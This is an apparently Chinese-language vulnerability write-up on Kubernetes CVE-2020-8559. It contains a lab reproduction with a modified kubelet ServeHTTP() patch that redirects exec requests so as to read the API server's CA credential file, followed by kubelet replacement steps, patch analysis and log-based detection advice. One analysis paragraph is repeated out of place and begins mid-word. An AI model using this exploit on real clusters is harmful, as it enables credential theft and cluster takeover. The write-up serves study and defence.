看CVE-2020-8559如何逆襲獲取集群權限
簡介
CVE-2020-8559是一個針對Kubernetes的權限提升漏洞,攻擊者可以截取某些發送至節點kubelet的升級請求,通過請求中原有的訪問憑據轉發請求至其他目標節點,從而造成節點的權限提升,CVSS3.x評分為6.8。版本在v1.6-v1.15之間以及v1.16.13、v1.17.9和v1.18.6之前的版本均受影響。該漏洞由Tim Allclair提交。
目前網上暫無針對該漏洞的詳實資料,但筆者在探尋針對Kubernetes的滲透路線時,發現通過該漏洞可以直接獲取集群的控制權限,它的危害可能由于評分不高的緣故被大大低估。因此希望通過此篇文章,讓大家了解它的危害并感受其利用過程。以上簡單的漏洞說明可能難以理解,下面筆者將給出理解該漏洞所需的背景知識,然后對漏洞進行分析、復現,最后給出相關修復建議以及總結與思考。
1. 背景知識

圖1[3]
1.1 API Server
API Server提供了Kubernetes各類資源對象(Pod,RC, Service等)的增刪改查及watch等HTTP REST API接口,成為集群中各個功能模塊之間數據交互和通信的中心樞紐,是整個系統的數據總線和數據中心。除此之外,它還具有代理轉發的功能,將外界對于部分API的調用轉發到后端實際執行這些API功能的組件上。例如,常用的對Pod執行exec的操作,就是API Server作為代理,將請求轉發到了對應節點的kubelet上,由該kubelet執行具體命令。
1.2 kubelet
Kubelet 是 Kubernetes 工作節點上的一個代理組件,運行在每個節點上。它定期從API Server組件接收新的或修改的Pod規范,并確保Pod及其容器在期望規范下運行。同時該組件作為工作節點的監控組件,向APIServer匯報主機的運行狀況。
2. 漏洞分析
號鏈接特性”與“Kubernetes自身代碼邏輯”兩部分結合的產物。符號鏈接引起的問題并不新鮮,這里它與虛擬化隔離技術碰撞出了逃逸問題,以前還曾有過在傳統主機安全領域與SUID概念碰撞出的權限提升問題等[11]。
該漏洞是由于Kubernetes API Server和kubelet的請求遵循HTTP重定向,當kubelet進程響應/exec、/attach、/portforward等動作時附帶了HTTP 302重定向和Location頭,Kubernetes API Server或Kubectl命令將會使用原始請求的憑證,為Location頭中的任何內容提出新請求。圖2可以幫助我們更好地理解:

圖2
正常情況下,當Node節點上的Pod被執行/exec、/attach等操作時,會經歷圖2中①②③的步驟。

圖3
如圖3所示,在實際利用CVE-2020-8559的過程中,當攻擊者獲取了Node節點的root權限時,可以通過修改kubelet攔截來自API Server轉發的請求,然后在其中加入惡意的302請求,kubelet在向API Server返回/exec等動作執行的結果時會發起新的請求,新的請求會沿用原始請求的憑證,走向圖3中④⑤⑥的流程,kubelet在接收到API Server轉發過來的請求之后便會直接執行,即使該kubelet在Master節點,如此便可通過API Server轉發的方式控制集群,達到權限提升的效果。話不多說,下面我們將通過實踐來感受整個利用鏈的效果。
3. 漏洞復現
號鏈接特性”與“Kubernetes自身代碼邏輯”兩部分結合的產物。符號鏈接引起的問題并不新鮮,這里它與虛擬化隔離技術碰撞出了逃逸問題,以前還曾有過在傳統主機安全領域與SUID概念碰撞出的權限提升問題等[11]。
3.1 環境準備
場景涉及Master和Node節點的搭建,為了方便,我們借助開源靶場工具Metarget[4]來部署漏洞環境。在即將作為Master節點的主機上下載Metarget,然后執行以下命令:
./metarget cnv installcve-2020-8559 --domestic --verbose
安裝完成之后會在metarget/tools/目錄下生成install_k8s_worker.sh文件,將該文件復制到作為Node節點的主機上(與Master節點網絡可連通),然后執行
bash install_k8s_worker.sh
即可完成Master節點和Node節點的部署:

圖4
然后在Master節點上安裝一個正常運行的pod:
./metarget cnv installno-vuln-ubuntu

圖5

圖6
因為Kubernetes集群的機制,該pod會自動運行在Node節點上。
3.2 漏洞利用
假設我們通過一定手段已經獲取了Node節點的root權限,為了攔截對kubelet的某些請求,我們需要替換Node節點上的kubelet(以下漏洞利用手段參考github[5])。
3.2.1 步驟一: 厲兵秣馬
本次搭建的環境中Kubernetes版本為v1.17.1,因此先下載相同版本的Kubernetes源碼:
git clone --branch v1.17.1 --single-branch https://github.com/kubernetes/kubernetes.git
編輯kubernetes/pkg/kubelet/server/server.go文件中的ServeHTTP()函數,如下所示:
// ServeHTTP responds to HTTP requests onthe kubelet.
func (s *Server) ServeHTTP(w http.ResponseWriter, req*http.Request) {
handler := httplog.WithLogging(s.restfulCont,statusesNoTracePred)
// monitor httprequests
varserverTypestring
if s.auth == nil {
serverType = "readonly"
} else {
serverType = "readwrite"
}
method, path := req.Method, trimURLPath(req.URL.Path)
//---------------------Begin---------------------------
protocol := "https"
host := "Master-IP:6443"
namespace := "kube-system"
pod := "kube-apiserver-cloudplay"
container := "kube-apiserver"
command1 := "cat"
command2 :="/etc/kubernetes/pki/ca.crt"
if strings.Contains(req.URL.Path, "/exec") || strings.Contains(req.URL.Path, "/attach") || strings.Contains(req.URL.Path, "/portforward") {
fmt.Println("--------------------------------------------------------------")
fmt.Println("SendingRedirect")
fmt.Println("--------------------------------------------------------------")
http.Redirect(w, req, protocol+"://"+host+"/api/v1/namespaces/"+namespace+"/pods/"+pod+"/exec?command="+command1+"&command="+command2+"&container="+container+"&stderr=true&stdout=true", 302)
}
//---------------------End---------------------------
注意其中修改的內容:
(本次漏洞利用的目標為獲取Master節點上APIServer的ca.crt憑證)
host為Master節點IP和API server運行的端口
namespace、pod、container根據Master節點運行的pod具體情況填寫
command字段為執行的命令,此處的利用場景為讀取API Server的相關憑證文件,需要執行的命令應為
cat /etc/kubernetes/pki/ca.crt
但此條命令涉及參數,因此在構造API請求時需要通過command拼接的形式。
編輯完成之后保存并退出,運行以下命令進行編譯:
cd kubernetes/ (kubernetes源碼根目錄)GO111MODULE=on go moddownload (golang版本要求支持mod參數.)cd kubernetes/cmd/kubeletgo build
3.2.2 步驟二: 移花接木
將編譯好的kubelet上傳至Node節點,找到正在運行的kubelet進程
ps aux | grep kubelet
將原kubelet進程結束
kill $pid
備份原kubelet文件(備份是個好習慣)
cp /usr/bin/kubelet /usr/bin/kubelet.bak
覆蓋原kubelet文件
cp -f kubernetes/cmd/kubelet/kubelet /usr/bin/kubelet
確認kubelet是否重啟(kubelet會自動重啟,可多次重復kill操作,確認啟動時間為最新)
ps aux | grep kubelet
3.2.3 步驟三: 直搗黃龍
在Master節點上執行以下命令:
kubectl exec no-vuln-ubuntu -n metarget -- hostname
當向位于Node節點上的pod執行exec操作時,按照圖3的流程,APIServer會將該請求轉發給Node節點上的kubelet執行,此時Node節點上的kubelet已經被我們替換,/exec的請求觸發了我們新增的302重定向請求,導致Node節點的kubelet向API server發起了我們構造的惡意請求,并且沿用了原始請求的憑證(因為該請求是從API server轉發過來的,所以認證已經通過),最終成功讀取了/etc/kubernetes/pki/ca.crt文件。同理,我們可以讀取其他敏感憑證,以此來獲取到API Server的控制權。

圖7
3.3 注意事項
通過以上利用過程可以發現,此漏洞的利用需要滿足兩個條件:
- 獲取到Node節點的root權限,因此可以替換kubelet
- 擁有運行在Node節點上任意個pod的exec、attach、portforward等權限
4. 漏洞修復
查看CVE-2020-8559的補丁[6],部分代碼如圖8、圖9所示:

圖8

圖9
可以發現官方針對此漏洞的修復策略是對30x等重定向請求做處理,建立了一個后端用來處理升級請求,禁止了將重定向請求返回給客戶端執行,即阻止了圖3中步驟④。
為了防范此漏洞的利用,除更新補丁之外,在集群部署時也應遵循權限最小化原則,使得Node節點的root權限難以獲取,pod的相關權限也盡可能收斂,阻礙攻擊者漏洞利用鏈的形成。
同時,為了監控此漏洞的利用,可以通過審計Kubernetes日志,當以下資源模型請求的響應代碼在300-399之間,很有可能存在相關漏洞利用行為:
- pods/exec
- pods/attach
- pods/portforward
- 任何資源的proxy(如pods/proxy、services/proxy)
5. 總結與思考
CVE-2020-8559是為數不多的針對Kubernetes集群的權限提升漏洞,和CVSS3.x評分9.8的CVE-2018-1002105[7]相同之處在于,兩者都是API Server與kubelet之間處理請求的問題。不同的是,當Kubernetes開啟認證機制時,利用CVE-2018-1002105需要掌握某個pod的token憑證,便于通過API Server的認證和kubelet建立通道,且當通道建立時,該kubelet只能對所在節點的pod執行命令,只有當所在節點為Master節點時,才能控制API Server,真正實現控制集群的效果。而在實際環境中,Master節點一般不會部署業務pod,僅運行一些核心組件,如kube-apiserver,etcd等,所以攻擊者利用的pod很有可能并不在Master節點,因此CVE-2018-1002105的危害性有限。而CVE-2020-8559雖然評分相對較低,但當攻擊者通過容器逃逸到宿主機環境時,一般為主機的root權限,已滿足利用條件之一,若當前權限不滿足條件二,只能像前文描述的過程那樣等待集群管理員在Master上對Node節點的pod執行exec/attach等操作;若當前權限滿足條件二,則可以優于CVE-2018-1002105,在Node節點上跨節點實現對集群的真正控制。同時隨著近年來云原生漏洞的增多,容器逃逸的手段也變得豐富起來,從容器環境逃逸到宿主機環境的可能性變得更高,利用CVE-2020-8559的可能性也隨之提高,依此來看,CVE-2020-8559在對集群的危害方面完成了逆襲。
希望讀者能通過此文章理解該漏洞的危害,作為集群管理人員,應培養及時更新補丁的好習慣;作為云安全從業者,也應認真考慮如何檢測并阻斷漏洞利用行為,共同建設安全的云原生環境。
最后,由綠盟科技星云實驗室編寫的《云原生安全:攻防實踐與體系構建》一書已上線京東自營,本書從容器基礎設施、編排系統和微服務多層面完整地講解了云原生的風險、攻防和安全架構,干貨多多,歡迎大家購買閱讀并參與討論!

參考文獻
[1] https://nvd.nist.gov/vuln/detail/CVE-2020-8559
[2] https://github.com/kubernetes/kubernetes/issues/92914
[3] https://kubernetes.io/zh/docs/concepts/overview/components/
[4] https://github.com/Metarget/metarget
[5] https://github.com/tdwyer/CVE-2020-8559
[6] https://github.com/kubernetes/kubernetes/pull/92941/commits
[7] https://xz.aliyun.com/t/3542